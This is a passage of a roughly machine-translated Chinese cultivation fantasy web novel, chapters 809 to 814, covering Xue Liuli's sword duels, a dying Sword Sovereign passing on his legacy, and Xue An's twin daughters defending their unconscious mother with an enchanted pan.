    Thinking like this, Xing Dannan couldn''t help but breathe a sigh of relief, then took a look at Xueliu with quite a smug, and lifted his foot to follow Li Hanqing.


    At this moment, Xue Liuli let out a cold snort, raising his hand and cutting it with a sword.


    Jianguang turned across the sky, just blocking the path of Li Hanqing and Li Hanqing.


    "Xue Liuli, what do you mean? Could it be that you still want to compare with me?" Li Hanqing snorted coldly.


    Xue Liuli slowly pulled out the saber around her waist, and said lightly: "Yes! Since your lord has handed you over to me, then I will kill you two!"


    "Looking for death!" Li Hanqing was furious.


    It is Xue An that she is afraid of, but it is not the Xueliu who used to be her disciple, so she snorted coldly, and when she raised her hand, there were two pale red lights.


    As the host of Zhan Honglou, Li Hanqing naturally has its own unique features.


    This red light shows that her method of cutting red hearts is quite impressive.


    But as soon as these two red lights reached halfway, Xue Liuli brazenly shot out his sword.


    The sword light is not so harsh, but it hits the weakest places of the two red lights just right.


    Click.


    These two red lights were cut off by a sword.


    This Li Hanqing was shocked, somewhat unbelievable.


    This blow was so easily broken by Xueliu?


    Xue Liuli shouted coldly: "Now, it''s your turn to pick me up!"


    After that, she cut out with a sword.


    A bright sword light slashed straight towards Li Hanqing.


    Li Hanqing finally saw the clue and screamed in terror.


    "When did your kendo recover?"


    said, she was able to avoid this sword.


    Ke Xue Liuli didn''t give her a chance to breathe at all, so he slashed with his sword.


    The sword light is like snow, covering it completely.


    Li Hanqing finally understood why Xue An gave her two to this Xueliu.


    Because her kendo not only recovered, but also better than before!


    Li Hanqing felt deep despair and regret.


    At first, she dared to treat this Xue Liuli like that, because she felt that her kendo retreated, and there was no longer any possibility of recovery, and the whole person was destroyed.


    But she didn''t expect that this Xueliu nowadays kendo has not only recovered, but also reached an incredible height.


    At this moment, Li Hanqing couldn''t dodge, and was cut off by a sword.


    She yelled, and was about to say something.


    , who had been standing behind her, her beloved apprentice Xing Dannan suddenly drew his sword and pierced her back.


    This Xing Dannan''s cultivation is good, especially the sword in her hand is a peerless blade.


    So caught off guard, this Li Hanqing was directly pierced by this sword.


    Although she is a golden fairy powerhouse.


    But being pierced by a sword, the whole person is still in chaos.


    At the same time, the sword beams of Xueliu cut off her hands and feet.


    This Li Hanqing fell to the ground, his eyes fixed on Xing Dannan, "Why!"


    Xing Dannan released the long sword in his hand and covered his mouth with a sad face, "Master, blame you for being so cruel to the senior sister. I have advised you several times, but you insisted not to listen, so now I have to show this. My attitude!"


    Hearing these words, Li Hanqing spit out a big mouthful of blood, just about to say something.


    Xing Dannan''s eyes flashed with cold light, and Li Hanqing, who was almost out of oil, was directly shattered by a pale pink light.


    Until the moment of death, she was still looking at Xing Dannan with very bitter eyes.


    But this Xing Dannan didn''t care at all.


    After confirming that Li Hanqing is dead, she knelt down gently with apologetic and regretful faces.


    "Senior Sister, the reason why I treated you so much when I was in the sect before was because of Li Hanqing��s instructions, and I was forced to be helpless, so I had to do this! Please take it for the sake of our fellow sect. Me once, okay?"


    When he said this, Xing Dannan pleaded.


    With her extremely deceptive appearance, it looks very charming.


    If you don��t know the truth , you will definitely be confused by it.


    Xue Liuli has not said a word, standing in the sky and watching quietly.


    After a deathly silence.


    Xing Dannan''s eyes gradually showed fear, and he opened his mouth to say something.


    Xue Liuli said indifferently: "Xing Dannan, do you know that I didn''t even want to kill you just now?"


    Xing Dannan''s heart loosened, and then he smiled very flatteringly: "Senior sister naturally loves her."


    Xue Liuli shook his head, "But I have changed my mind now!"


    The smile on Xing Dannan''s face solidified.


    "Once I thought you would treat me like that only out of jealousy, now I know that people like you are purely bad!"


    "No, sister, listen to me, I really..."

 Chapter 810： Thatched cottage on the top of the hill

    Xue Liuli didn''t want to hear any more nonsense from this white lotus-like sister.


    saw her cut out with one sword.


    Xing Dannan showed a spiteful color in his eyes, and then rolled on the ground, avoiding the sword.


    Then the whole mermaid jumped up and flew straight to the distant sky.


    She really couldn''t escape without believing her cultivation.


    Xue Liuli took a deep breath and slashed out with a sword.


    Jianguang hit this Xing Dannan straight.


    Xing Dannan didn''t turn his head back, one side avoided the sword, he was delighted in his heart, but suddenly he felt a cold in his chest.


    She looked down, and she saw a sword blade on her chest.


    Then she lost all strength and fell from the air.


    Xue Liuli slowly walked to her side, looking at Xing Dannan, who kept vomiting blood out of his mouth, and said lightly: "Your cultivation level used to surpass me, but your mood is far from keeping up. Even if I don''t kill you, In less than ten years, you will die of madness!"


    Xing Dannan''s mouth moved slightly, and then he tried his last bit of strength and said: "I...I don''t accept it!"


    After that, the brilliance in her eyes dissipated and she died.


    Xueliu stood beside her, stood quietly for a moment, then turned and left.


    So far, all those who broke into the legacy of the Great Dream have died.


    "Let''s go, go in and see what good things are in this relic, worthy of so many people like this!" Xue An said lightly, leading Xue Liuli and the Paradise Girl into the palace.


    I saw the magnificent inside, all kinds of rare treasures filled the whole hall.


    These two accustomed to the big scene also shocked these two heavenly pride girls.


    Xue An just glanced faintly, and then continued to walk inside.


    across the first floor of the main hall, inside is a slightly smaller palace.


    But the treasures stacked inside are more valuable than the outside.


    Xue An is still unmoved.


    Xue An and his party passed through the seven-story hall in succession.


    In this seven-story hall, each floor is stacked with a huge amount of precious treasures.


    And one layer is more scarce than one layer.


    Especially on the seventh floor, the ground has been covered by various extremely high-quality fairy crystals.


    If you change to another ordinary cultivator in a scene like this, you probably won''t even be able to move.


    But Xue An didn''t even look at it, and went straight through the palace.


    then opened a door.


    There is no longer a palace, but a bare hill.


    And on the hill, there stands a crooked thatched cottage.


    This thatched house looks like it can be blown down by a gust of wind, and it is simply incompatible with these magnificent palaces.


    When Xue An and the three walked into this hill.


    The palace behind suddenly began to shake violently, then collapsed and turned into powder.


    The Heavenly Lady of Bliss and Xue Liuli were a little dumbfounded.


    Xue An said indifferently: "The previous ones are all traps. If a cultivator enters it and is deceived by those treasures, he will stay there forever."


    Hearing what Xue An said, the two women couldn''t help being shocked.


    Fortunately, although the two of them were also shaken by the treasure inside, they did not feel greedy.


    Otherwise, you have to pay for it.


    "What about the remains?" Xue Liuli asked.


    Xue An smiled and looked up at the thatched hut on the top of the mountain.


    "It''s there!"


    They looked at this crooked hut that seemed to fall at any time, and they were all speechless for a while.


    What rare treasures can there be?


    But when the three of them came to this hut.


    Xue Liuli was suddenly shocked, and a look of horror appeared in his eyes.


    "This sword intent..."


    She can feel that there is an extremely powerful sword intent in this hut.


    At this moment, I heard an old voice coming from the thatched cottage.


    "Come in! I have been waiting for you for too long!"


    Xueliu''s face looked solemn and awe.


    Xue An laughed, then opened the door and walked into the hut.


    looks different from outside.


    This thatched house is very large.


    But it is such a large room without any furnishings.


    There is only the small futon in the middle of the room, and the skinny old man on the futon.


    Although this old man is skinny, his eyes are as bright as stars, which makes him afraid to look directly.


    He first glanced at Xueliu and the Heavenly Lady of Bliss, and smiled slightly.


    "I didn''t expect to see the descendants of Xie Zhanhong and Chu Lele!"


    heard these two names.


    Xuelili and the ecstatic goddess were all shocked.


    Because the two people mentioned by the old man are the founders of their sect.


    But those characters are already thousands of years ago.


    Xue Liuli said respectfully: "Are you the Great Dream Sword Sovereign Fang Xianjue?"


    "The Great Dream Sword Sovereign Fang Xianjue?" The old man chanted the name a few words, then twitched the corner of his mouth, showing a slight smile.


    It''s just that he is as skinny as a skeleton, making this smile extremely scary.


    "Thousands of years! If you don''t mention it, even I have forgotten my name!"


    hiss!


    heard that the speculation was confirmed.


    Even though I was mentally prepared, but Xuelii couldn''t help but change his color.


    You must know that this Great Dream Sword Sovereign has been active for seven to eight thousand years.


    Although he was known as the number one true fairy at the time, he had the strength to aspire to Da Luo.


    But not after all.


    And as long as it is still a true fairy, it will fall.


    Some true celestial powerhouses can live for five thousand years through various means. That is already extremely terrifying existence.


    I didn''t expect this Great Dream Sword Sovereign to survive till now.


    She was naturally shocked.


    After murmured a few words in a low voice, Fang Xianjue cast his gaze on Xue An, who had been standing quietly by the side.


    "Young man, you are the only one of the three that I can''t see through! Who are you... on earth?"


    Xue An laughed, and then took a moment to look at everything around him, "I used my own cultivation to seal off this secret realm, trapping the heart demon in it, and at the same time, also sealed off his physical body and spiritual thoughts, so as to live until now , It''s hard for you!"


    These words made Fang Xianjue, the Great Dream Sword Sovereign, burst into the eyes An invisible sword power enveloped the audience.


    Xueliu Li and the Heavenly Girl of Elysium all grunted and moved back.


    Xue An only regarded it as the breeze blowing on his face, without the slightest feeling.


    Fang Xian felt staring at Xue An, "Young man, who are you? Why do you know so much?"


    Xue An smiled faintly, and reached out his hand to reveal a black air.


    "This...this is..." Fang Xianjue was taken aback first, then exclaimed.


    Xue An nodded, "Yes, that''s the outer heart demon. I killed it!"


    Fang first took a deep breath, the light in his eyes flashed, and he shielded both Xueliu and the blissful goddess.


    Xue An said indifferently: "I''m curious, you are so painstaking, but it only makes you linger here, it is impossible for you to break through, so...what are you doing?"

 Chapter 811： Who will feel the big dream

    Fang Xianjue smiled bitterly, and then said: "Young man, your cultivation level should be good, but this matter is very important, and it is not something you can get involved! If you really want to know, then you need to inherit my mantle! "


    "Oh? Inherit your mantle?" Xue An smiled faintly, and strands of sword light appeared around Xue An.


    The sword spirit is like snow, and Xue An is like a fairy descending into the world.


    Fang felt a shock all over his body, his eyes were extremely horrified, "This sword intent... my god!"


    "Now, you still let me inherit your mantle?" Xue An said lightly.


    Fang first felt embarrassed, and then solemnly said: "Senior, you...are not from Guiyi?"


    Xue An nodded slightly.


    Fang Xian felt a look of excitement on his face, "Finally! It''s not worth my thousands of years of waiting!"


    said, Fang Xianjue''s flesh began to bulge like a balloon, and the flesh on his face began to plump rapidly.


    in an instant.


    This old man who was just as thin as a skeleton turned into a middle-aged man with a majestic face.


    Xue An saw this, his eyes flashed, but he didn''t say anything.


    Fang Xianjue bowed and saluted Xue An very respectfully. "Senior, after thousands of years of waiting, I am finally waiting for you!"


    Xue An nodded slightly, "Now tell me, what are you waiting for?"


    Fang Xianjue was silent for a moment, and then sighed softly: "Senior, this matter is very important. After I learned about it, I thought about solving it by myself, so I was desperate to hit the realm of Da Luo. But God''s will, I was Contaminated by the outer heart demon, it seems that the body will die, and this outer heart demon will also return to disaster. In desperation, I exhausted my cultivation base, built this secret realm, and trapped me and this heart demon together. stand up."


    Xue listened quietly.


    Fang Xianjue continued: "Then I waited here for thousands of years. Those palaces in front are just a small trial. I think I can find someone who can pass the heart demon dream without being tempted by foreign objects. Someone inherited my mantle, and then started to solve the matter! But I didn��t expect the seniors to appear!"


    "Then what is this thing you said?" Xue An said lightly.


    Fang first took a deep breath, the divine light flashed in his eyes, and then passed a divine thought.


    "This matter is of great importance, and a little carelessness is a catastrophic disaster that has a wide range of implications. Therefore, I will tell you the causes and consequences with my spirit! I hope you can turn the tide and save 10,000 people!"


    This party said with a sincere expression on his face.


    Xue An accepted the divine thought and read the information inside.


    Then he was silent.


    This silence gave Fang Xianjue a dignified look, and hurriedly said: "Senior, I know this matter is not trivial, and I am not asking you to bear it. I will give you all of my kendo cultivation skills. A little help for you."


    The voice just fell.


    Xue An looked up to the sky and laughed, "Okay! That''s great! Hahahaha!"


    This laughter made Fang Xian feel a little confused.


    "Senior, you...what''s wrong with you?"


    Fang felt that Xue An was irritated, so he quickly asked.


    Xue An stopped his laughter, then gave Fang Xianjue a fist, "My friend, thank you for the information you provided me. This matter is very important to me! And you can rest assured, this matter belongs to me!"


    Fang felt a bit at a loss.


    Xue An was a little excited.


    Because the news Fang Xianjue told him was really important.


    Yan''er, even if your seal cannot be completely lifted this time, it will be greatly improved! Xue An thought to himself.


    Although Fang Xianjue didn''t know why Xue An was so excited, he felt for no reason that this man must be able to solve the matter, so a huge boulder that had been in his mind for thousands of years fell to the ground.


    Just when Fang Xianjue took a breath, one of his hands suddenly began to wither.


    That''s right.


    means withering in the literal sense.


    The plump flesh and blood reappeared and became skinny.


    Xue An was slightly startled when he saw this scene, and he wanted to take out the medicine.


    This side felt it before but waved his hand, "No! It''s a miracle that I can survive this time! Any medicine is useless for me!"


    "And before I fall, I am very content to be able to entrust this big event in my heart to seniors!"


    Xue An looked at Fang Xianjue, who was getting old rapidly, and his expression became a little solemn.


    Thousands of years of waiting, just for a belief.


    And this belief still has nothing to do with him, but it has something to do with the world.


    Xue An couldn''t help being moved by such a mind and tenacity.


    At this time, Fang Xian felt that he had removed the shield, and then directed at Xue Liuli and said, "Since you are the descendant of Xie Zhanhong and the person next to Senior, then I will pass on this sword to you!"


    Xue Liuli never dreamed of such a thing.


    "Come on!" At this moment, Fang felt that his aging speed was getting faster.


    It seems that the time that has been backlogged for thousands of years is quickly running over him.


    Xue Liuli gave Xue An a blank look.


    Xue An sighed slightly, then nodded.


    Xue Liuli walked forward.


    Fang Xianjue suddenly grasped her hand.


    Xueliu was surprised, and felt that although this hand was thin, it was extremely powerful.


    "Abide by the sword heart!" Fang Xianjue shouted sharply.


    Snow drifted subconsciously and started to abide by Fang Xianjue��s instructions.


    Fang Xian felt a touch of stunning color in his eyes.


    "It turned out to be a clear sword heart, God, I have fought with you for a lifetime, and in the end you are pretty good, and you found me such a heir!"


    Fang laughed first, and then began to urge the cultivation base, which was passed to Xue Liuli.


    Xueliu felt his whole body shook, and countless powerful swordsmanship and true understandings of kendo began to appear in the sea of ??knowledge.


    Its various exquisites made her immediately intoxicated.


    Xue looked quietly.


    Fang Xian felt that his body was disintegrating at a speed visible to the naked eye.


    But even so, he still transmitted all his life cultivation base without hesitation.


    soon.


    The repair is completed.


    Xue Xue drifted away and sat cross-legged, and began to close her eyes and meditate.


    Fang Xianjue has already entered a state where the oil has run out.


    He tried his last bit of strength, and wanted to raise his head to look at Xue An, but he couldn''t do it.


    Xue An seemed to perceive his thoughts appeared in front of him instantly, and then gently lifted him up.


    Fang wanted to laugh first.


    But as soon as the corner of his mouth was pulled up, the whole body suddenly turned into fly ash and disappeared.


    This scene happened to be seen by Xue Liuli who opened his eyes.


    She was startled for a while, then she fell to her knees with a plop, choked up and shouted: "Master!"


    This master call is sincere and sincere.


    Because she and Fang Xian felt that although it was only the first time they were masked, Fang Xian felt that this gift to her was simply too expensive.


    is so valuable that she can repay it in a lifetime.


    Xue An also stood there, looking at Fang Xianjue who had turned into powder, and muttered softly: "Whoever sees the big dream first, I know myself all my life!"


    "The name of Sword Sovereign, you can afford it!"

 Chapter 812： The sad Lei Zun and a pair of little sisters

    Bliss City.


    Xue Xiang and Xue Nian sat on the side of the bed, leaning on their cheeks and looking at Anyan who fell asleep again.


    "Sister, when will mother wake up?" Xue Nian''s voice was filled with crying.


    Xue thinks that although she is also very scared, she still took up the posture of being a sister at this time, and said very calmly: "Don''t worry, mom must be fine! I should wake up soon!"


    "Woo, my mother has passed out, and my father is not at home, I am so scared!" Xue Nian finally couldn''t help crying.


    Xue wanted to have a sore nose and tears in her eyes, but she still sniffed her nose, pretending to be free and easy, and said: "Okay! Dad, isn��t that all right? Don��t worry, maybe Dad next second I''m back!"


    It looks like a little adult.


    "But I''m still scared! The premonition that day is simply too bad!" Xue Nian wiped away tears, and said with lingering fear.


    Mentioned that day, Xue Xiang couldn''t help being a little scared.


    The two of them suddenly felt a strong anxiety that day, and then they had a foreboding that their father was in an extremely dangerous situation.


    At that time, the two of them burst into tears.


    Then An Yan desperately urged the cultivation base, passing a calling divine mind through the air.


    Then the two little girls felt that the premonition of anxiety gradually disappeared.


    Soon, his mother fainted to the ground.


    The two little girls knew that this was because An Yan used all the cultivation base desperately, which triggered the seal and fell into a coma again.


    Therefore, the two of them worked together to hug An Yan onto the bed, and then waited by the bed for her mother to wake up.


    But with the passage of time, a day will pass. Mom hasn''t woken up yet and Dad has not heard from him.


    For two children who are only six or seven years old, they have been able to persevere until now, they are already very strong.


    "Okay, okay, don''t be afraid, isn''t there still me!" Xue Xiang comforted.


    But she seems to have forgotten that she was only born six minutes earlier than her sister Xue Nian.


    But Xue Nian was very convinced of her sister. After hearing her comfort, she gradually calmed down.


    But a few minutes later, a grunting sound came from Xue Nian''s stomach.


    "Sister, I''m hungry!"


    Xue thought he was a little hungry at this time.


    So the two started looking for something to eat.


    But the last cookie was wiped out by Xue Nianji an hour ago.


    Now there is nothing to eat except for the snack bags in one place.


    As for other snacks, they are stored in Anyan''s mustard ring.


    The two of them can''t open up at all.


    The two sisters stared at each other with big eyes and small eyes, and then said in unison: "What should I do?"


    "Sister, shall we go out to buy something to eat?"


    "No, now my mother is unconscious, we want to protect her! What if we leave and a bad guy comes in? Besides, we don''t have money either!" Xue thought about it for a long time.


    "What should I do then? Is it just so hungry?" Xue Nian said very aggrieved.


    Xue wanted to stroke his chin with his small fleshy hands, paced back and forth in the room, and began to seriously ponder the problem before him.


    Xue Nian did not dare to disturb, so he walked back behind Xue Xiang.


    Yes! How to do it?


    Having nothing to eat is a big problem!


    Xue Xiang thought about it, suddenly his eyes lit up and he saw the dough used by An Yan on the kitchen chopping board.


    "Yes!" Xue Xiang suddenly stopped.


    Xue Nian, who was walking with her head down behind her, was caught off guard, and slammed into Xue Xiang, and his nose happened to hit the back of Xue Xiang''s head.


    "Ah! Sister! Why did you stop suddenly when you didn''t speak? Oh, my nose hurts!" Xue Nian said, holding his sore nose, very aggrieved.


    Xue Xiang was also grinning at the back of his head, but he said with some excitement: "Niannian, I have a way!"


    "any solution?"


    "Can we cook and eat by ourselves?"


    "Cook by myself?"


    "Yes indeed!"


    "But...we can''t do it!"


    Xue wanted to pat his chest, "Isn''t it impossible to learn?"


    "But..." Xue Nian still hesitated.


    "Oh, when Mom and Dad are cooking, I have seen them all by the side. It''s simple, nothing difficult! Niannian, come and help me!"


    Xue Xiang became more excited as he talked, and immediately rolled up his arms and sleeves to prepare for a big fight.


    Although Xue Nian always feels that something is wrong, the feeling of being hungry is simply too difficult for a snack like her, so she nodded, "Okay!"


    Just do it.


    Xue wants to move a small stool first, then stand on the stool, and start kneading the dough in a way.


    "Sister, what is this?"


    "Steamed buns!" Xue Xiang said without raising his head.


    Soon, Xue Xiang was sweating, but this side was actually kneaded into dough by her.


    "Sister, you''re so amazing!" Xue Nian watched eagerly and couldn''t help but exclaimed.


    "That is, don''t look at who your sister is!" Xue Xiang was very proud.


    "Go, add water to that pot!"


    "okay!"


    In order to eat the steaming steamed buns, Xue Nian also began to work hard.


    One scoop of water does not move, then half a scoop.


    Just a little bit like this, Xue Nian finally added half a pot of water to the pot.


    "Enough!" Xue wanted to say.


    Then he turned out a grate for steaming steamed buns, put it on the pot, and put the buns on top.


    But when the fire started, the two little girls couldn''t help being dumbfounded.


    Because there are naturally no matches in this place, let alone a lighter, flint is used to make a fire.


    How can the two of them use this.


    But it''s not difficult Xue Xiang. She rolled her eyes, turned to the bed, and took her mother''s pan.


    "Sister, what are you doing?"


    "Make a fire?"


    "But can this make a fire?"


    "Don''t worry about it, I can do it!"


    Xue wanted to say, and waved the pan at the stove.


    There is no movement.


    "Sister, there is no fire!"


    Xue Xiang''s complexion became a little ugly, and he shouted at the pan: "Hey, come out for me!"


    Nothing happened.


    "Be less foolish, I know you are at home, talk!"


    Still silent.


    Xue Xiang''s face stretched.


    "Don''t speak, are you? Humph Do you believe it or not when my dad comes back, I will let him smash you into pieces?"


    at last.


    There was a lazy voice from the pan, "Child, what do you call Ben Lei Zun for?"


    is exactly the Lei Zun who was refined into this pan by Xue An.


    Xue wanted to point to the stove, "Seeing that the stove is not, I will wave it for a while, and you will light the inside!"


    "What? I''m the dignified Nineth Rank Lei Zun, you actually let me make a fire? Don''t do it!"


    "Really quit?"


    "Joke, what status am I, how can I do this kind of thing, of course not!"


    Xue wanted to nod, "Well, when my dad comes back, I will tell him you bullied me! Do you think about the consequences of that?"


    Lei Zun: "..."

 Chapter 813： The last life committed evil, this life will meet the last name...

    "Now tell me, do it or not?" Xue Xiang said.


    "What sin did I commit in my last life? I actually offended you guys surnamed Xue!" Lei Zun began to cry.


    But the situation is stronger than that of people.


    He also had to give in.


    "Come on!" Lei Zun said weakly.


    Xue nodded in satisfaction, "This is good! When my father comes back, I will let him buy you sweets!"


    Lei Zun almost didn''t vomit blood when he heard this.


    As an existence that has survived for thousands of years, he was actually praised by a child as good?


    But he didn''t dare to provoke this little ancestor, so he had to grit his teeth.


    At this time, Xue Xiang suddenly waved the pan in his hand.


    A ray of lightning went straight to the stove.


    Xue Nian applauded and cheered, "My sister is so amazing!"


    As soon as the voice fell, there was a boom.


    The firewood in the stove instantly turned into powder, and even the pot was burned to naught by the high temperature at that moment.


    The two sisters stared blankly, until after a while they wailed.


    "Our steamed buns!"


    "I blame you, I let you light the fire, who told you to burn the pot for me?" Xue Xiang gritted his teeth with anger.


    "That is, you pay for our buns!" Xue Nian said with tears in his eyes.


    Lei Zun cried out to hit Tianqu, "Heaven and earth conscience, this is not what I should do! And I have tried my best to reduce the thunder light to the minimum, who knows that this thing can''t help but burn?"


    "No matter, you have to pay for our buns anyway!"


    Just when the two little girls and this Lei Zun were talking about steamed buns.


    The door was pushed abruptly, and then Jian Qi staggered in.


    The two little girls were startled, "Sister Sword Seven, what''s wrong with you?"


    Jianqi at this moment, with a pale complexion, bleeding from the corners of his mouth.


    "Go!" Jian Qi shouted hoarsely.


    The two little girls still don''t understand what''s going on.


    I heard a few sneers coming from the courtyard.


    "Go? Do you think you can still go today?"


    Jian Qi''s face turned white, and he said coldly: "Hua Wushuang, if you act like this, aren''t you afraid that my lady will ask you to settle the account after returning?"


    "Your lady, haha! Do you think your lady can come back?"


    With the voice, the doors and windows collapsed and a group of people in the courtyard appeared.


    Standing at the forefront, it is the master sister Hua Wushuang, the master teacher of Bliss.


    And standing behind her are the six sword slaves from Zhan Hong Lou.


    "Tsk tuts, they are really two beautiful embryos. If they are slightly trained, they will definitely be our top card in the future of Bliss Tower!" Hua Wushuang looked at Xue Xiang and Xue Nian, tusk in admiration, and a look of greed flashed in his eyes.


    Jian Qi took a deep breath, blocked the two little girls behind him, and said coldly: "Hua Wushuang, these things have nothing to do with them, don''t hurt the innocent!"


    "Innocent? Hehe, it''s so funny! Do you really think I don''t know? They should be Xue An''s family! Hehe, but don''t worry, even that Xue An won''t be able to return!"


    "You are talking nonsense, our father will be fine!" Xue Xiang yelled, sticking his head out from behind Jian Qi.


    "That''s, you are fat, big bad guy! You are not allowed to say bad things about Dad!" Xue Nian made up the knife perfectly.


    Hua Wushuang''s eyelids jumped, her face instantly cold, "Pang Dun, you actually said I am Pang Dun?"


    "My sister is right? You''re just a fat man!" Xue Xiang made another cut.


    Hua Wushuang is going crazy.


    She is very proud of her plump figure, but today she is called chubby.


    How could she stand this.


    "Catch these two **** back for me, I have to train them well! Let them understand what is respect!" Hua Wushuang gritted his teeth and shouted.


    Although these six sword slaves are not members of Bliss Square, Li Hanqing, the master of the Red House, had given orders before leaving.


    asked them to fully cooperate with Hua Wushuang.


    So after hearing this sentence, the six people looked at each other.


    Jian sighed slightly, "Old Seven, give up! Xueliu can''t be back! Young master of the fierce demon, Yuan Zongluo three thousand, and Elder Ling Xiao of Bliss Fang, these people join hands, why is Xueliu? May be their opponent?"


    "Yes! Give up! As long as you give up resistance, we can still fight together!" Jianji also added.


    Jianqi smiled miserably, "Fighting together? What a joke! It seems that you are not the one who sneaked on me while I was not prepared."


    "And if I want to give up, it is absolutely impossible! Let the horse come here! Either you die today or I die!"


    Sword and Seven Horizontal Swords were in front, not giving way.


    The six people''s complexion grew darker, knowing that they could no longer persuade them.


    "Sister Jianqi, we will help you fight these bad guys!" Xue wanted to take a step forward and stood beside Jianqi.


    "Yes, we will help you!" Xue Nian''s small face was full of determination and stood together.


    Jian Qiyi was stunned, "You two..."


    Hua Wushuang sneered when he heard the words, "It''s really two young children who don''t know how to live or die, grab them!"


    With an order, the six sword slaves rushed up.


    The primary goal is to target the sword seven that is already at the end of the crossbow.


    They didn''t put Xue Xiang and Xue Nian in their eyes at all.


    In their opinion, as long as this sword seven is knocked down, the rest will be easier.


    Jianqi took a deep breath when he saw it, and planned to work hard.


    At this moment, I saw Xue Xiang shouting, "Lei Zun, your chance to atone for your sins is here!"


    A lazy voice came from the pan, "Don''t worry, leave it to me! This kind of thing is my best!"


    Xue wanted to wave the pan in his hand and smashed it to the opposite side.


    The closest one is Kenji.


    She didn''t take this seriously, and even thought Xue Xiang was here to make fun of it deliberately, so a cold smile appeared at the corner of her mouth, "Child, you..."


    Before the words fell, a bright thunder light blasted out of the pan and directly hit this Jianji.


    The sword was caught off guard, and there was no time to react, so he was hit hard by this thunder light.


    Although her cultivation is pretty good, she still has a big somersault in front of the thunder light released by the Nineth Rank Lei Zun.


    She was scorched and smoked from her mouth and nose, and she fell to the ground with a flutter.


    Xue thought that this blow was like a shock that shocked the audience.


    At the same time, Xue Nian was not to be outdone, and pulled down the very small pan hanging around his neck and shouted, "Now!"


    Boom!


    Xue Nian also showed an Aoki saucepan in his hand.


    Then he shot a figure in front of him.


    Although the pan in Xue Nian''s hand does not have the spirit of Thunder Zun''s device, it is still a very powerful treasure.


    What''s more, this person was not wary of Xue Nian, so this shot happened to be on this person''s waist.


    boom.


    This blow directly flew the shooter out, and after landing, he opened his mouth and vomited a mouthful of blood.


    Only then did people see that it was the sword that was shot flying out.


    The whole audience was dumbfounded.


    And the two little girls raised their chins very proudly, reached out and pointed to each other, "Who else is not satisfied?"

 Chapter 814： I didn’t believe it at first, but then I did.

    Looking at the little sisters, Hua Wushuang''s eyelids throbbed wildly, and her complexion became more and more gloomy.


    She never dreamed that these two six or seven-year-old girls would be so powerful that even the sword slaves who killed the Red Mansion were not their opponents.


    "It''s really a bunch of rubbish, even two children can''t deal with it! No wonder you are getting more and more ruined now!" Hua Wushuang said very bitterly.


    These sword slaves all showed shame and anger.


    Especially the sword one that Xue Nian shot and flew out was even more angry. He jumped up from the ground and wanted to do it.


    And Hua Wushuang was also ready at this time, planning to rush forward to catch these two little girls who don''t know the height of the sky and take a lesson.


    But at this moment, a very worried shout came from a distance.


    "Stop! Wushuang Master Sister, stop!"


    Hearing this shout, Hua Wushuang was startled slightly and turned to look.


    I saw a Pegasus running across the sky, and then fell into the field.


    When I saw this person, Hua Wu''s double-sided color changed slightly, and then coldly said: "Bai Qing''er, what do you mean by letting me stop in such a panic?"


    That''s right.


    The one who came at full speed was the Bai Qing''er Xue An had seen in the Xuanlei City auction.


    Not only is she a member of the auction guild, she is also a disciple of Bliss.


    After leaving Xuanlei City, she first returned to the auction guild. After passing the news, the people in the auction guild took it seriously and immediately sent people to follow Bai Qing''er to Banten City to contact Xue An.


    But they are a step late.


    After arriving at Wandan City, Xue An had already left here with Jian Qi.


    Bai Qing''er understood that Xue An should have come to Bliss City.


    So she rushed over afterwards.


    But because of some trivial things on the road, I was delayed a bit, so I didn''t reach the Bliss City until today.


    After entering the city, Bai Qinger first went to the Bliss Tower.


    Don��t look at Bai Qing��er��s talent and roots in Elysium, but because of her current status in the auction guild, when she appeared in the Elysium, she was affected by these little sisters. Very warm hospitality.


    But she didn''t see Hua Wushuang, the master teacher.


    But Bai Qing''er didn''t pay much attention to it at the time. She was a little tired from the journey, so she was ready to drink some tea before looking for Hua Wushuang.


    But when she asked about the recent past while drinking tea, and heard that her master sister was going to capture a pair of twin sisters.


    She squirted out all the tea she had just drank in her mouth before she had time to swallow.


    Then she pulled the neck of the little sister who was reporting the news, and asked savagely what was going on.


    The little sister was frightened by her appearance, and tremblingly told the story.


    When I heard that Xue An had taken someone into the legacy of the Great Dream.


    And when my master sister felt that Xue An would never come back again, so she went to catch the twins who followed him.


    Bai Qinger''s face was pale, and she dropped the little sister, turned around and ran out.


    This little junior girl didn''t understand what was going on.


    But immediately, Bai Qing''er went back and roared: "Get me a horse! Also, where is that small building?"


    Soon, someone brought a flying horse, and then the little junior girl trembled and pointed out the direction.


    Bai Qinger drove off without hesitation.


    When she first came to a place not far from here, she heard what her master sister Hua Wushuang said.


    Bai Qing''er was so scared that she almost didn''t faint, so she shouted out in a hurry, and then rushed over.


    After landing, she saw that Xue Xiang and Xue Nian were unharmed, and she took a breath, then turned her head and said to the gloomy Hua Wushuang.


    "Master sister, these little sisters must not be touched!"


    "Oh? Why do you say that?" Hua Wushuang sneered.


    At this time, Xue Xiang and Xue Nian also recognized Bai Qing''er, and they couldn''t help shouting, "Are you the sister at the auction?"


    Bai Qing''er smiled at the two little girls, and then said solemnly: "Because the father of the two of them, that is, Xue An can''t afford to offend anyone!"


    Hua Wushuang listened to a sneer, "No one can''t afford it? Hey, how come I don''t believe this?"


    Bai Qing''er sighed, "I didn''t believe it in the beginning, but then I believed it!"


    As he said, Bai Qing''er recounted the scenes she had seen in Xuanlei City and all the things Xue An had done in Banten City.


    After listening to ���� Hua Wushuang, her complexion changed a lot.


    Soon, she smiled.


    "It sounds really powerful, but it seems useless for you to say this! Because the peerless and powerful man in your mouth has entered the Great Dream Relics, and waiting for him in it is the Three Heavens Sect and Yuan Zongluo Sanqian''s teamwork strangling, I don''t believe that he can survive in this situation!"


    Bai Qing''er, who thought he could impress Hua Wushuang, was stunned when he heard the words, and then said anxiously: "Master sister, don''t you think so? There used to be many people like you, but Then they all died miserably!"


    "Shut up! Am I the master sister or are you the master sister?" Hua Wushuang shouted.


    Bai Qing''er was speechless by these words.


    Hua Wushuang sneered: "I think you were scared by this Xue An! And dealing with these two little girls is not what I meant by myself. My Master Ling Xiao also ordered the same! Do you still think Do you disobey the elder''s meaning?"


    Bai Qinger''s complexion changed.


    At this time, Hua Wushuang rushed to the few sword slaves and said coldly: "I don''t do it now, when will I wait?"


    These sword slaves looked at each other and rushed up together.


    Xue Xiang and Xue Nian are not afraid, and they fight with the group of people holding a pan.


    And that Jianqi even joined the battle group regardless of his injuries.


    But this time Xue Xiang and Xue Nian couldn''t be as relaxed as before.


    After all, no matter how powerful the magic weapon in their hands, they are just six or seven-year-old children.


    Therefore, when facing the guarded sword slaves , they were suppressed and unable to fight back after only a few encounters.


    Hua Wushuang looked smugly.


